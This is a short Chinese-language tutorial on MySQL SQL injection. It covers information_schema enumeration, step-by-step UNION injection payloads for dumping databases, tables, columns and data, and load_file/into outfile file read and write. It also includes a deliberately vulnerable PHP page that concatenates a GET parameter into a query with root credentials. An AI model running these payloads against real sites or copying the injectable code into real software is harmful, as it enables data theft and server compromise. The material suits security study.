sql注入--mysql

mysql数据库结构:

　　数据库A --> 表名 --> 列名 --> 数据

　　数据库B --> 表名 --> 列名 --> 数据

mysql数据库信息:

　　mysql 5.0以上自带数据库：information_schema

　　information_schema.schemata: 数据库下的schemata库名，含义：存储所有数据库下的库名信息的表。

　　information_schema.tables: 数据库下的tables表名，含义：存储所有数据库下的表名信息的表。

　　information_schema.columns: 数据库下的columns表名，含义：存储所有数据库下的列名信息的表。

　　database()：数据库名

　　user()：数据库用户

　　version()：数据库版本

　　@@version_compile_os：操作系统　

　　schema_name：库名

　　table_name：表名

　　column_name：列名

mysql注入过程:

　　(1) 判断注入点: ?id=1 and 1=1 ;? id=1 and 1=2

　　(2) 判断长度: ?id=1 order by 3

　　(3) 获取基本信息: @@version_compile_os , version() , database() , user()

　　(4) 获取库名: ?id=1 union select table_schema,2,3 from information_schema.schemata

　　(5) 获取表名: ?id=1 union select table_name,2,3 from information_schema.tables where table_schema = 库名[16进制]

　　(6) 获取列名: ?id=1 union select column_name,2,3 from information_schema.columns where table_schema = 库名[16进制]

　　　　　　　　　and table_name = 表名[16进制]

　　(7) 获取数据: ?id=1 union select 列名[16进制],列名[16进制],3 from 表名[16进制]

mysql文件读写操作:

　　(1) 读取操作:

　　　　　　?id=1 union select load_file('d:/123.txt'),2,3

　　(2) 写入操作:

　　　　　　?id=1 union select '123',2,3 into outfile 'd:/123.txt'

　　注意: 路径问题:

　　　　　　　　使用"/"或者"\\" ; 原因[编程中"\"多半是转义]

　　　　编码问题:

　　　　　　　　数据中有单引号,将数据编码16进制即可

连接mysql数据库语句:

<?php
　　header("content-type:text/html;charset=utf8");
　　$id=$_GET['x'];
　　$conn=mysql_connect("127.0.0.1","root","root");
　　mysql_select_db("sql",$conn);
　　$sql = "select * from php where id=$id";
　　$result=mysql_query($sql);
　　while($row=mysql_fetch_array($result)){
　　echo " "."编号".$row['id']." ";
　　echo " "."用户".$row['user']." ";
　　echo " "."密码".$row['password']." ";
　　}
　　mysql_close($conn);
　　echo " "."当前执行的sql语句:".$sql;
　　?>

网站路径获取方法

　　(1) 遗留文件:

　　　　　　一般在网站根目录下，命名有php.php info.php phpinfo.php，test.php php_info.php等。